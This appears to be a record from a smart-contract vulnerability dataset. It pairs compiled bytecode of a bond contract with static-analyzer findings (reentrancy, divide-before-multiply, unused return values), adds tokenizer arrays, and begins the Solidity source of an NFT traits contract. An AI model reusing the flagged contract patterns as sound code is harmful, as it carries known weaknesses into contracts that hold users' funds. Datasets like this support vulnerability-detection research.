00000000000000000000000081526004018080602001828103825260208152602001807f5061796f75742063616e6e6f742062652061626f766520312070657263656e7481525060200191505060405180910390fd5b80600760030181905550610c4a565b600280811115610c2c57fe5b826002811115610c3857fe5b1415610c4957806007600401819055505b5b5b5050565b60035481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d16576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610d5057600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b7f00000000000000000000000015fddc0d0397117b46903c1f6c735b55755c2a3a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e54576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f4f6e6c79204f6c796d7075732044414f0000000000000000000000000000000081525060200191505060405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600c8060000160009054906101000a900460ff16908060010154908060020154908060030154908060040154905085565b600080601180549050905060005b81811015610f495760118181548110610eec57fe5b9060005260206000209060020201600001546002541080610f0f57506001820381145b15610f3c5760118181548110610f2157fe5b90600052602060002090600202016001015492505050610f4c565b8080600101915050610ed7565b50505b90565b6000610f596136fc565b601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060405180608001604052908160008201548152602001600182015481526020016002820154815260200160038201548152505090506000610fe682604001514361292490919063ffffffff16565b905060008260200151905060008111156110285761102181611013612710856127cc90919063ffffffff16565b61285290919063ffffffff16565b935061102d565b600093505b505050919050565b6000611053611042612764565b60045461292490919063ffffffff16565b905090565b6000807f0000000000000000000000000000000000000000000000000000000000000000156111015760006110b364174876e8006110a56110a08761109b612589565b61296e565b612c4f565b61285290919063ffffffff16565b90506110e4620f42406110d66110c7610ec9565b846127cc90919063ffffffff16565b61285290919063ffffffff16565b91506110f9828261292490919063ffffffff16565b925050611260565b611130620f4240611122611113610ec9565b866127cc90919063ffffffff16565b61285290919063ffffffff16565b905061125d64174876e80061124f61124a7f000000000000000000000000e2ae37b8077cd3bc7ef1c6580f6dc93673078a0173ffffffffffffffffffffffffffffffffffffffff1663d1b317e57f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb486111b1888b61292490919063ffffffff16565b6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060206040518083038186803b15801561120257600080fd5b505afa158015611216573d6000803e3d6000fd5b505050506040513d602081101561122c57600080fd5b8101908080519060200190929190505050611245612589565b61296e565b612c4f565b61285290919063ffffffff16565b91505b915091565b60025481565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561130f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f496e76616c69642061646472657373000000000000000000000000000000000081525060200191505060405180910390fd5b611317612c8b565b60006113216107fb565b90508084101561137c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806137be6023913960400191505060405180910390fd5b60007f000000000000000000000000e2ae37b8077cd3bc7ef1c6580f6dc93673078a0173ffffffffffffffffffffffffffffffffffffffff1663d1b317e57f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48886040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060206040518083038186803b15801561142d57600080fd5b505afa158015611441573d6000803e3d6000fd5b505050506040513d602081101561145757600080fd5b810190808051906020019092919050505090506000807f0000000000000000000000000000000000000000000000000000000000000000156114a95761149c83611058565b80925081935050506114d0565b6114b288611058565b80925081935050506114cd818961292490919063ffffffff16565b97505b60647f000000000000000000000000c770eefad204b5180df6a14ee197d99d808ee52d73ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561153857600080fd5b505afa15801561154c573d6000803e3d6000fd5b505050506040513d602081101561156257600080fd5b810190808051906020019092919050505060ff16600a0a8161158057fe5b048210156115f6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f426f6e6420746f6f20736d616c6c00000000000000000000000000000000000081525060200191505060405180910390fd5b6115fe612690565b821115611673576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f426f6e6420746f6f206c6172676500000000000000000000000000000000000081525060200191505060405180910390fd5b6116888360045461289c90919063ffffffff16565b600481905550600760040154600454111561170b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f4d6178206361706163697479207265616368656400000000000000000000000081525060200191505060405180910390fd5b604051806080016040528061176b84601260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015461289c90919063ffffffff16565b815260200160076001015481526020014381526020016117896107fb565b815250601260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000820151816000015560208201518160010155604082015181600201556060820151816003015590505061180b8860025461289c90919063ffffffff16565b6002819055506118268260035461289c90919063ffffffff16565b6003819055506118418260065461289c90919063ffffffff16565b6006819055507f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb4873ffffffffffffffffffffffffffffffffffffffff1663095ea7b37f000000000000000000000000e2ae37b8077cd3bc7ef1c6580f6dc93673078a018a6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156118f857600080fd5b505af115801561190c573d6000803e3d6000fd5b505050506040513d602081101561192257600080fd5b8101908080519060200190929190505050507f000000000000000000000000000000000000000000000000000000000000000015611a8f576119a733308a7f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb4873ffffffffffffffffffffffffffffffffffffffff16612cb6909392919063ffffffff16565b7f000000000000000000000000e2ae37b8077cd3bc7ef1c6580f6dc93673078a0173ffffffffffffffffffffffffffffffffffffffff16630efe6a8b7f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb488a611a18858761289c90919063ffffffff16565b6040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281526020019350505050600060405180830381600087803b158015611a7257600080fd5b505af1158015611a86573d6000803e3d6000fd5b50505050611bc0565b611aee3330611aa7848c61289c90919063ffffffff16565b7f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb4873ffffffffffffffffffffffffffffffffffffffff16612cb6909392919063ffffffff16565b7f000000000000000000000000e2ae37b8077cd3bc7ef1c6580f6dc93673078a0173ffffffffffffffffffffffffffffffffffffffff16630efe6a8b7f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb488a856040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281526020019350505050600060405180830381600087803b158015611ba757600080fd5b505af1158015611bbb573d6000803e3d6000fd5b505050505b60008114611ccf577f000000000000000000000000000000000000000000000000000000000000000015611c6057611c5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16827f000000000000000000000000c770eefad204b5180df6a14ee197d99d808ee52d73ffffffffffffffffffffffffffffffffffffffff16612d779092919063ffffffff16565b611cce565b611ccd600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16827f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb4873ffffffffffffffffffffffffffffffffffffffff16612d779092919063ffffffff16565b5b5b7fb7ce5a2d90f1705ca02547b0eb827724683e0df3b809477ae4326d0eefed0bc08883611d0a6007600101544361289c90919063ffffffff16565b60405180848152602001838152602001828152602001935050505060405180910390a17f2cb17bd1fd2a1fecfefae2de1e6a59194abaa62179652924ccdca01617f0bf16611d56612e19565b611d5e6123d3565b604051808381526020018281526020019250505060405180910390a1611d82612f3e565b819450505050509392505050565b6000611d9a6136fc565b601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060405180608001604052908160008201548152602001600182015481526020016002820154815260200160038201548152505090506000611e1984610f4f565b90506127108110611f4557601260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008082016000905560018201600090556002820160009055600382016000905550507f51c99f515c87b0d95ba97f616edd182e8f161c4932eac17c6fefe9dab58b77b18483600001516000604051808473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a1611f378483600001517f000000000000000000000000c770eefad204b5180df6a14ee197d99d808ee52d73ffffffffffffffffffffffffffffffffffffffff16612d779092919063ffffffff16565b816000015192505050612136565b6000611f72612710611f648486600001516127cc90919063ffffffff16565b61285290919063ffffffff16565b90506040518060800160405280611f9683866000015161292490919063ffffffff16565b8152602001611fc8611fb586604001514361292490919063ffffffff16565b866020015161292490919063ffffffff16565b81526020014381526020018460600151815250601260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082015181600001556020820151816001015560408201518160020155606082015181600301559050507f51c99f515c87b0d95ba97f616edd182e8f161c4932eac17c6fefe9dab58b77b18582601260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154604051808473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a161212f85827f000000000000000000000000c770eefad204b5180df6a14ee197d99d808ee52d73ffffffffffffffffffffffffffffffffffffffff16612d779092919063ffffffff16565b8093505050505b919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146121fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000612206611035565b1461225c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061377c6021913960400191505060405180910390fd5b6040518060a0016040528087815260200186815260200185815260200184815260200183815250600760008201518160000155602082015181600101556040820151816002015560608201518160030155608082015181600401559050508060048190555043600581905550505050505050565b60007f00000000000000000000000097fac4ea361338eab5c89792ee196da8712c9a4a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612393576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4f6e6c79207375627369647920636f6e74726f6c6c657200000000000000000081525060200191505060405180910390fd5b6006549050600060068190555090565b60126020528060005260406000206000915090508060000154908060010154908060020154908060030154905084565b6000612560670de0b6b3a764000061255261254d6124a77f000000000000000000000000c770eefad204b5180df6a14ee197d99d808ee52d73ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561245057600080fd5b505afa158015612464573d6000803e3d6000fd5b505050506040513d602081101561247a57600080fd5b810190808051906020019092919050505060ff16600a0a612499611035565b6127cc90919063ffffffff16565b7f000000000000000000000000c770eefad204b5180df6a14ee197d99d808ee52d73ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561250d57600080fd5b505afa158015612521573d6000803e3d6000fd5b505050506040513d602081101561253757600080fd5b810190808051906020019092919050505061296e565b612c4f565b61285290919063ffffffff16565b905090565b60078060000154908060010154908060020154908060030154908060040154905085565b600061267561264560057f000000000000000000000000c770eefad204b5180df6a14ee197d99d808ee52d73ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b1580156125f957600080fd5b505afa15801561260d573d6000803e3d6000fd5b505050506040513d602081101561262357600080fd5b810190808051906020019092919050505060ff1661292490919063ffffffff16565b600a0a6126676126536123d3565b6007600001546127cc90919063ffffffff16565b61285290919063ffffffff16565b905060076002015481101561268d5760076002015490505b90565b600061275f620186a06127516007600301547f000000000000000000000000c770eefad204b5180df6a14ee197d99d808ee52d73ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561270857600080fd5b505afa15801561271c573d6000803e3d6000fd5b505050506040513d602081101561273257600080fd5b81019080805190602001909291905050506127cc90919063ffffffff16565b61285290919063ffffffff16565b905090565b60008061277c6005544361292490919063ffffffff16565b90506127aa60076001015461279c836004546127cc90919063ffffffff16565b61285290919063ffffffff16565b91506004548211156127bc5760045491505b5090565b60055481565b60045481565b6000808314156127df576000905061284c565b60008284029050828482816127f057fe5b0414612847576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061379d6021913960400191505060405180910390fd5b809150505b92915050565b600061289483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506130a4565b905092915050565b60008082840190508381101561291a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600061296683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061316a565b905092915050565b612976613724565b600082116129cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806137566026913960400191505060405180910390fd5b6000831415612a0d57604051806020016040528060007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff168152509050612c49565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff71ffffffffffffffffffffffffffffffffffff168311612b4657600082607060ff1685901b81612a5a57fe5b0490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff16811115612b11576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f4669786564506f696e743a3a6672616374696f6e3a206f766572666c6f77000081525060200191505060405180910390fd5b6040518060200160405280827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff16815250915050612c49565b6000612b62846e0100000000000000000000000000008561322a565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff16811115612c18576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f4669786564506f696e743a3a6672616374696f6e3a206f766572666c6f77000081525060200191505060405180910390fd5b6040518060200160405280827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff168152509150505b92915050565b60006612725dd1d243ab82600001517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1681612c8357fe5b049050919050565b612ca7612c96612764565b60045461292490919063ffffffff16565b60048190555043600581905550565b612d71846323b872dd60e01b858585604051602401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506132ec565b50505050565b612e148363a9059cbb60e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506132ec565b505050565b6000612f05612ed560057f000000000000000000000000c770eefad204b5180df6a14ee197d99d808ee52d73ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b158015612e8957600080fd5b505afa158015612e9d573d6000803e3d6000fd5b505050506040513d6020811015612eb357600080fd5b810190808051906020019092919050505060ff1661292490919063ffffffff16565b600a0a612ef7612ee36123d3565b6007600001546127cc90919063ffffffff16565b61285290919063ffffffff16565b9050600760020154811015612f21576007600201549050612f3b565b600060076002015414612f3a5760006007600201819055505b5b90565b6000612f5d600c60030154600c6004015461289c90919063ffffffff16565b90506000600c6001015414158015612f755750804310155b156130a15760006007600001549050600c60000160009054906101000a900460ff1615612fe457612fb9600c6001015460076000015461289c90919063ffffffff16565b600760000181905550600c6002015460076000015410612fdf576000600c600101819055505b613028565b613001600c6001015460076000015461292490919063ffffffff16565b600760000181905550600c6002015460076000015411613027576000600c600101819055505b5b43600c600401819055507fb923e581a0f83128e9e1d8297aa52b18d6744310476e0b54509c054cd7a93b2a81600760000154600c60010154600c60000160009054906101000a900460ff1660405180858152602001848152602001838152602001821515815260200194505050505060405180910390a1505b50565b60008083118290613150576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156131155780820151818401526020810190506130fa565b50505050905090810190601f1680156131425780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161315c57fe5b049050809150509392505050565b6000838311158290613217576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156131dc5780820151818401526020810190506131c1565b50505050905090810190601f1680156132095780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080600061323986866133db565b915091506000848061324757fe5b86880990508281111561325b576001820391505b80830392508482106132d5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f46756c6c4d6174683a3a6d756c4469763a206f766572666c6f7700000000000081525060200191505060405180910390fd5b6132e083838761342e565b93505050509392505050565b606061334e826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff166134cb9092919063ffffffff16565b90506000815111156133d65780806020019051602081101561336f57600080fd5b81019080805190602001909291905050506133d5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613805602a913960400191505060405180910390fd5b5b505050565b60008060007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8061340857fe5b84860990508385029250828103915082811015613426576001820391505b509250929050565b600080826000038316905080838161344257fe5b04925080858161344e57fe5b049450600181826000038161345f57fe5b04018402850194506000600190508084026002038102905080840260020381029050808402600203810290508084026002038102905080840260020381029050808402600203810290508084026002038102905080840260020381029050808602925050509392505050565b60606134da84846000856134e3565b90509392505050565b60606134ee856136e9565b613560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000081525060200191505060405180910390fd5b600060608673ffffffffffffffffffffffffffffffffffffffff1685876040518082805190602001908083835b602083106135b0578051825260208201915060208101905060208303925061358d565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114613612576040519150601f19603f3d011682016040523d82523d6000602084013e613617565b606091505b5091509150811561362c5780925050506136e1565b60008151111561363f5780518082602001fd5b836040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156136a657808201518184015260208101905061368b565b50505050905090810190601f1680156136d35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b949350505050565b600080823b905060008111915050919050565b6040518060800160405280600081526020016000815260200160008152602001600081525090565b604051806020016040528060007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff168152509056fe4669786564506f696e743a3a6672616374696f6e3a206469766973696f6e206279207a65726f44656274206d757374206265203020666f7220696e697469616c697a6174696f6e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77536c697070616765206c696d69743a206d6f7265207468616e206d617820707269636556657374696e67206d757374206265206c6f6e676572207468616e20333620686f7572735361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a26469706673582212200891d117b7145f41af4bfc3eb59ee5851608a7e7e6b561664e45a334a27fbecd64736f6c63430007050033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 28756, 2575, 2475, 2278, 2620, 27717, 22022, 2692, 2683, 26187, 19841, 11329, 2620, 2098, 19797, 9468, 27531, 2497, 2575, 2546, 2575, 24434, 2581, 2063, 20958, 2475, 1013, 1013, 5371, 8311, 1013, 8860, 1013, 3647, 18900, 2232, 1012, 14017, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 12943, 24759, 1011, 1017, 1012, 1014, 1011, 2030, 1011, 2101, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1021, 1012, 1019, 1025, 3075, 3647, 18900, 2232, 1063, 3853, 5587, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1009, 1038, 1025, 5478, 1006, 1039, 1028, 1027, 1037, 1010, 1000, 3647, 18900, 2232, 1024, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,806
0x9766789Cb11237d82aa5d9C4666bF9B16Cc4dEd1
/* ███████╗ ██████╗ ██╗ ██╗ ██████╗ █████╗ ███╗ ███╗███████╗ ██╔════╝██╔═══██╗╚██╗██╔╝ ██╔════╝ ██╔══██╗████╗ ████║██╔════╝ █████╗ ██║ ██║ ╚███╔╝ ██║ ███╗███████║██╔████╔██║█████╗ ██╔══╝ ██║ ██║ ██╔██╗ ██║ ██║██╔══██║██║╚██╔╝██║██╔══╝ ██║ ╚██████╔╝██╔╝ ██╗ ╚██████╔╝██║ ██║██║ ╚═╝ ██║███████╗ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝ */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.10; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "./IFoxGameNFTTraits.sol"; import "./IFoxGameNFT.sol"; contract FoxGameNFTTraits_v1 is IFoxGameNFTTraits, Ownable { using Strings for uint256; // add [uint256].toString() // Struct to store each trait's data for metadata and rendering struct Trait { string name; string png; } // Mapping of traits to metadata display names string[3] private _players = [ "Rabbit", "Fox", "Hunter" ]; string[4] private _advantages = [ "5", "6", "7", "8" ]; // FoxGames NFT address reference IFoxGameNFT private foxNFTGen0; IFoxGameNFT private foxNFTGen1; // Storage of each traits name and base64 PNG data [TRAIT][TRAIT VALUE] mapping(uint8 => mapping(uint8 => Trait)) public traitData; constructor() {} /** * Update the NFT contract address outside constructor as it would * create a cyclic dependency. */ function setNFTContracts(address _foxNFTGen0, address _foxNFTGen1) external onlyOwner { foxNFTGen0 = IFoxGameNFT(_foxNFTGen0); foxNFTGen1 = IFoxGameNFT(_foxNFTGen1); } /** * Return the appropriate contract interface for token. */ function getTokenContract(uint16 tokenId) private view returns (IFoxGameNFT) { return tokenId <= 10000 ? foxNFTGen0 : foxNFTGen1; } /** * Upload trait art to blockchain! * @param traitTypeId trait name id (0 corresponds to "fur") * @param traitValueIds trait value id (3 corresponds to "black") * @param traits array of trait [name, png] (e.g,. [bandana, {bytes}]) */ function uploadTraits(uint8 traitTypeId, uint8[] calldata traitValueIds, string[][] calldata traits) external onlyOwner { require(traitValueIds.length == traits.length, "Mismatched inputs"); for (uint8 i = 0; i < traits.length; i++) { traitData[traitTypeId][traitValueIds[i]] = Trait( traits[i][0], traits[i][1] ); } } /** * generates an <image> element using base64 encoded PNGs * @param trait the trait storing the PNG data * @return the <image> element */ function _drawTrait(Trait memory trait) internal pure returns (string memory) { return string(abi.encodePacked( '<image x="4" y="4" width="32" height="32" image-rendering="pixelated" preserveAspectRatio="xMidYMid" xlink:href="data:image/png;base64,', trait.png, '"/>' )); } /** * Generates an entire SVG by composing multiple <image> elements of PNGs * @param t token trait struct * @return layered SVG */ function _drawSVG(IFoxGameNFT.Traits memory t) internal view returns (string memory) { string memory svg; if (t.kind == IFoxGameNFT.Kind.RABBIT) { svg = string(abi.encodePacked( _drawTrait(traitData[0][t.traits[0]]), // Fur _drawTrait(traitData[1][t.traits[1]]), // Paws _drawTrait(traitData[2][t.traits[2]]), // Mouth _drawTrait(traitData[3][t.traits[3]]), // Nose _drawTrait(traitData[4][t.traits[4]]), // Eyes _drawTrait(traitData[5][t.traits[5]]), // Ears _drawTrait(traitData[6][t.traits[6]]) // Head )); } else if (t.kind == IFoxGameNFT.Kind.FOX) { svg = string(abi.encodePacked( _drawTrait(traitData[7][t.traits[0]]), // Tail _drawTrait(traitData[8][t.traits[1]]), // Fur _drawTrait(traitData[9][t.traits[2]]), // Feet _drawTrait(traitData[10][t.traits[3]]), // Neck _drawTrait(traitData[11][t.traits[4]]), // Mouth _drawTrait(traitData[12][t.traits[5]]) // Eyes )); } else { // HUNTER svg = string(abi.encodePacked( _drawTrait(traitData[14][t.traits[0]]), // Clothes _drawTrait(traitData[15][t.traits[1]]), // Marksman _drawTrait(traitData[16][t.traits[2]]), // Neck _drawTrait(traitData[17][t.traits[3]]), // Mouth _drawTrait(traitData[18][t.traits[4]]), // Eyes _drawTrait(traitData[19][t.traits[5]]) // Hat )); } return string(abi.encodePacked( '<svg width="100%" height="100%" version="1.1" viewBox="0 0 40 40" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">', svg, "</svg>" )); } /** * Generates an attribute for the attributes array in the ERC721 metadata standard * @param traitType the trait type to reference as the metadata key * @param value the token's trait associated with the key * @return a JSON dictionary for the single attribute */ function _attributeForTypeAndValue(string memory traitType, string memory value) internal pure returns (string memory) { return string(abi.encodePacked( '{"trait_type":"', traitType, '","value":"', value, '"}' )); } /** * Generates an array composed of all the individual traits and values * @param tokenId the ID of the token to compose the metadata for * @return traits JSON array of all of the attributes for given token ID */ function _compileAttributes(uint16 tokenId, IFoxGameNFT.Traits memory t) internal view returns (string memory traits) { if (t.kind == IFoxGameNFT.Kind.RABBIT) { traits = string(abi.encodePacked( _attributeForTypeAndValue("Fur", traitData[0][t.traits[0]].name), ",", _attributeForTypeAndValue("Paws", traitData[1][t.traits[1]].name), ",", _attributeForTypeAndValue("Mouth", traitData[2][t.traits[2]].name), ",", _attributeForTypeAndValue("Nose", traitData[3][t.traits[3]].name), ",", _attributeForTypeAndValue("Eyes", traitData[4][t.traits[4]].name), ",", _attributeForTypeAndValue("Ears", traitData[5][t.traits[5]].name), ",", _attributeForTypeAndValue("Head", traitData[6][t.traits[6]].name), "," )); } else if (t.kind == IFoxGameNFT.Kind.FOX) { traits = string(abi.encodePacked( _attributeForTypeAndValue("Tail", traitData[7][t.traits[0]].name), ",", _attributeForTypeAndValue("Fur", traitData[8][t.traits[1]].name), ",", _attributeForTypeAndValue("Feet", traitData[9][t.traits[2]].name), ",", _attributeForTypeAndValue("Neck", traitData[10][t.traits[3]].name), ",", _attributeForTypeAndValue("Mouth", traitData[11][t.traits[4]].name), ",", _attributeForTypeAndValue("Eyes", traitData[12][t.traits[5]].name), ",", _attributeForTypeAndValue("Cunning Score", _advantages[t.advantage]), "," )); } else { // HUNTER traits = string(abi.encodePacked( _attributeForTypeAndValue("Clothes", traitData[14][t.traits[0]].name), ",", _attributeForTypeAndValue("Marksman", traitData[15][t.traits[1]].name), ",", _attributeForTypeAndValue("Neck", traitData[16][t.traits[2]].name), ",", _attributeForTypeAndValue("Mouth", traitData[17][t.traits[3]].name), ",", _attributeForTypeAndValue("Eyes", traitData[18][t.traits[4]].name), ",", _attributeForTypeAndValue("Hat", traitData[19][t.traits[5]].name), ",", _attributeForTypeAndValue("Marksman Score", _advantages[t.advantage]), "," )); } return string(abi.encodePacked( '[', traits, '{"trait_type":"Generation","value":', tokenId <= getTokenContract(tokenId).getMaxGEN0Players() ? '"GEN 0"' : '"GEN 1"', '},{"trait_type":"Type","value":"', _players[uint8(t.kind)], '"}]' )); } /** * ERC720 token URI interface. Generates a base64 encoded metadata response * without referencing off-chain content. * @param tokenId the ID of the token to generate the metadata for * @return a base64 encoded JSON dictionary of the token's metadata and SVG */ function tokenURI(uint16 tokenId) external view override returns (string memory) { IFoxGameNFT.Traits memory traits = getTokenContract(tokenId).getTraits(tokenId); string memory metadata = string(abi.encodePacked( '{"name": "', _players[uint8(traits.kind)], " #", 